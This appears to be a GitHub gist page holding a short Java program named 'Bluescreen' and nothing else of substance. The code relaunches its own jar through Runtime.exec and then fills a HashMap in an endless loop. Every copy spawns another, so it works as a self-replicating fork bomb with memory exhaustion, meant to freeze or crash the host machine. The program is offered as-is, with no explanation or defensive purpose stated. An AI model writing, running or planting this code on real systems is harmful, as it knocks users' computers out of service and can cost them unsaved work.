Skip to content

Instantly share code, notes, and snippets.

@manuelgu
Last active Sep 29, 2015
Embed
What would you like to do?
public class Bluescreen {
public static final Map Objects = new HashMap();
public static double d = 0.0;
public static void main(String[] args) throws InterruptedException, IOException{
String jarname = new File(Bluescreen.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getName();
Runtime.getRuntime().exec("java -jar " + jarname);
while(true) {
Objects.put(Double.valueOf(d), Double.valueOf(d));
d += 1.0D;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment